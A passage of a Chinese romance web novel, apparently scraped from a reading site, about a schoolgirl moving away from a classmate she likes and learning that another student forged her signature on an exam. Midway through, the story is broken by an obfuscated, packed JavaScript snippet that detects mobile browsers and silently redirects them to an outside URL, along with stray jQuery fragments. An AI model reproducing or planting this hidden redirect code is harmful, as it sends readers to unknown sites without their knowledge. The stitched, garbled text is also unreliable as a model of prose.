一阵风铃轻响,程清亿眨了眨眼抬睫,一句话怼了回去:“我才没有哭!”
听见这话,站在门口的男生挑了挑眉,抬脚继续往屋里走。
他转身拉上门,把冷空气全都隔离在外,然后在玻璃的映射里看见一双水润布灵的大眼睛。
确实没哭。
但那神色,也绝对称不上心止如水。
“明天就走么?”
林川走到书桌边,随意拉出椅子坐下。
原本叠着一沓又一沓试卷和课本的桌面已经被清理干净,整洁的让人有些陌生。
程清亿嗯了一声:“说是明早李成轩他爸过来一起帮忙。”
林川点了点头,表示了然。
房间里开着暖空调。
房东说是她违约在先,所以水电费就不再另算,某种程度上,也算是给她们的补偿。
程清亿盯着正往外送风的空调出风口,下意识舔了舔有些干燥的唇。
她觉得这个时候她和林川之间应该有很多话可以讲,但是此时此刻,她竟然什么话题都想不起来。
沉吟片刻。
“那个——”
“你到时——”
异口同声。
视线短暂交叉,声音相撞。
好不容易探身准备打破僵局的双方又纷纷退回各自领地,不约而同。
程清亿收回视线,咬着唇纠结还要不要再度尝试。
“你先说吧。”
她终究还是没有想好要讲些什么。
随之,开始无意识地搓手。
余光里,程清亿感受到男生的视线慢腾腾在她的脸上环了几圈。
她其实也有些好奇,林川在这个时间点,究竟会跟自己说些什么?
林川动了动下巴,迟迟开口:“李成轩家就在隔壁小区,离这里不算太远。”
程清亿盯着男生墨黑色的眼睛,忽然有些失望。
这种消息,还用得着他专门过来告诉她么?
“所以呢?”
她环起胳膊,嘟着嘴追问道。
林川注意到程清亿从毛衣露出来的半截手腕底藏着隐隐约约的一抹红。
眉心忽然一跳。
转瞬,就化成嘴角边不知名的弧度。
“你戴上了?”他重新抬起头,直视对方。
嗯?
突然转变的话题。
顺着林川的视线指引,程清亿低头看了看搭在腿上的右手方向。
奶白色羊绒毛衣的袖口处,露着半截纤细白皙的手腕。
然后,上面套着一圈鲜艳的红绳。
“你说这个?”
程清亿抬起手,在二人中间轻轻晃荡了一下。
手腕上的红绳原本还有一大半掩在毛衣袖子里,被她这么一晃,完完全全的崭露了出来。
她重新看向面前的男生,眼见着这人的额头上的经络慢慢凸显,仿佛情绪不再平静。
“你当初把它送给我,不就是为了让我戴上的吗?”她睁着坦然的眼睛,不再胆怯。
也许是因为不知道从什么时候开始,她不再在乎林川是否真的心有所属。
林川生病请假在家的那段时间,正是大学放假的时候。
暑假刚刚毕业的上一届学长学姐有很多趁着这时返校探望老师。
张云云对于林川改观的起始点也正是此时。
她告诉程清亿,上一届的状元学姐回来时,指名道姓地要找林川。
这无异于正式坐实了之前年级里疯传的那些关于林川的粉红谣言。
程清亿对于此事早就打过不知道多少遍预防针。
对她而言,这只不过是换个人来告诉她,她和林川之间的那些情愫并不是喜欢。
至于究竟是什么?
程清亿压制住内心的翻涌,只能无奈地告诉自己,她好像暂时也不太清楚。
程清亿望着对方漆黑的瞳仁,如同下午站在班级门口的阳台上那样:“挺好看的,我很喜欢。”
提前搬家,离开已经熟悉了三年的环境,在临近高考的时候去被迫适应另外一个不甚熟悉的环境。
平心而论,她确实是不开心的。
但李椿女士眼下正处于热恋期,她又似乎也不是不能接受。
最主要的,提前学会离开熟悉的一切,提前适应,也不算是一件坏事。
如果她和林川终究有一天要各有各路,那么她现在一昧的依赖反而会让今后的戒断愈加强烈。
林川看着眼前的女孩理直气壮的样子,心里有种说不上来的感觉。
他让程清亿更坚定一点,面对分别和远离都更加坦然一点。
但鞭子真真打到自己身上时,才知道自己之前讲的都是屁话。
“到时候,”他的视线从面前的红绳转移到了程清亿的脸上,“我能去找你么?”
原先被他转移掉的话题又被他给重新拉了回来。
他感觉自己实在太混蛋了,避而不谈的是他,旧事重提的也是他。
就像当初那晚雷电雨,程清亿特意露了马脚试探他对她的真实想法,他跟个怂蛋包似的装傻不回应。
现在程清亿不打算理他了,他却按耐不住了。
“可以啊。”
程清亿答得异常爽快。
面带笑容,语气轻松。
就好像对于他的这个问题,她压根用不着思考。
林川的心里忽然生出一大串幽凉。
程清亿并没有拒绝他。
但又好像,已经拒绝了他。
第二天一早。
隔壁搬家的动静像预想的一样开始的不早不晚。
他站在门后听见大人们的交谈声,行李箱滚地的声音,还有各种各样嘈杂的噪音。
唯独听不见程清亿的声音。
林川背靠着大门,仰头。
心脏不知道为什么,在这时揪得又酸又疼。
【哥们儿,你还打算当缩头乌龟到什么时候?】
【程清亿马上要上车了】
李成轩站在轿车后备箱边,眼睛往楼顶的方向看去。
整个搬家的过程持续了将近半小时,然而在着整个时间段里,林川的身影从来没有出现。
搞什么啊?
以往程清亿出现的地方,方圆五米之外必能看见这家伙的。
怎么今天这么重要的时间点,这人反而不见了?
楼道方向响起了大人们的交谈和脚步声。
李成轩抬起头,看见爸爸和李椿阿姨边聊边走下楼。
程清亿一个人跟在后面,面色平静,神情淡定。
莫名其妙的,他从这俩人的状态里嗅到了很浓重的味道。
这种味道,李成轩把它命名为——“嘴硬”。
一个明明各方面都在乎的要命,却执意不出现。
一个明明一点都不高兴,却要在面上云淡风轻。
“呵!”
李成轩挑眉叹气。
对这二人之间的别扭感觉简直无语了。
*
程清亿的新房间不再有一个大的开放阳台,不过现在这个室内封闭的阳台倒也很视野开阔。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166169|196717||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
收拾了大半天之后,他们这个重组的家庭第一次坐在新家里吃上了第一顿晚饭。
菜系丰盛,口味也都是她很喜欢的。
但程清亿依旧吃得没滋没味。
饭后,李叔叔提议让李成轩带着她到楼下小花园转转。
于是就有了现在这样,她坐在肯德基里和李成轩一起啃汉堡的场景。
他俩并排着坐在玻璃橱窗边的长椅上,有一搭没一搭地聊天。
李成轩:“还记得吗?当时就是在这儿,咱俩发现他俩的事的。”
程清亿当然懂李成轩嘴里的“他俩”指的是李椿女士和李叔叔,点了头应了声:“嗯,记当然得。”
“那时你好像还很难接受,一下子就跑开了。”李成轩继续补充当时的细节。
程清亿表情淡定地嚼着嘴里的牛肉汉堡,还依稀记得当时林川的一些“疯言疯语”。
当时她还以为林川对她有什么别的想法呢,现在想起来,她只觉得自己当时的想法有些好笑。
“后来你不也为自己的‘口出狂言’专门过来跟我道歉了吗?”她也补充。
二人对着眼前的夜幕里各个商店门口散发出来的霓虹广告牌灯光,忍不住笑了出来。
“那后来,陆一深有过来和你道歉了吗?”
话锋一转,李成轩突然问起了这个问题。
程清亿眼珠子一震,转头问:“你知道是他?”
“嘁!”李成轩做作地白了她一眼,“除了那家伙,我也想不出来还有谁会举报你俩了。”
“再说了,”他继续补充,“被林川逮到偷你试卷的也就这一个家伙,不是他还有谁?”
偷试卷?
程清亿满眼诧异,停下了嘴上的咀嚼动作,偏过头看着旁边这人。
李成轩被这姑娘的眼神盯得全身发毛:“林川后来没跟你说?”
程清亿摇头,她压根什么都不知道。
“那林川那家伙每次考过试都会去批改完的试卷堆里找你的答题卡你知道吗?”李成轩吸了口冰可乐,接着问。
仍旧摇头,她还是不知道。
“嚯!”李成轩不禁吐槽,“这家伙每次考完试比找自己答题卡还积极,你竟然都不知道?”
怪不得。
程清亿低下头。
怪不得,每次林川都能比她自己先知道每次考试的分数。
“有一次,我和他一起去分试卷,正好逮到陆一深拿着你的试卷模拟你的签名,当时我还以为这家伙暗恋你呢。”
程清亿抬眼,满脸不可思议:“模拟签名?”
李成轩:“对啊,所以后来太子一说那时二郎神给出的解决办法,再加上后来姓陆的那家伙死皮赖脸地找林川让他保密,我就大概猜出来举报的人是他了。”
“陆一深后来找林川让他保密?”程清亿满脸不可思议。
“嗯,就在你俩事情澄清后不久吧,姓陆的那家伙有一次过来找林川,感觉像是有把柄在他手上似的。”
程清亿陷入沉思。
“不过现在事情都过去了,”李成轩摆了摆手,有种过往云烟不再作数的意思,“还有不到两个月就高考了,这个时候还是成绩比较重要。”
……
回家后,程清亿一直对李成轩说的那些耿耿于怀。
林川明明什么都知道,为什么不在一开始就和她讲明白?
是不在意?
还是真的在故意和她保持距离?
她不知道答案,也觉着这个问题应该会永远封存在暗无天日的背阴面。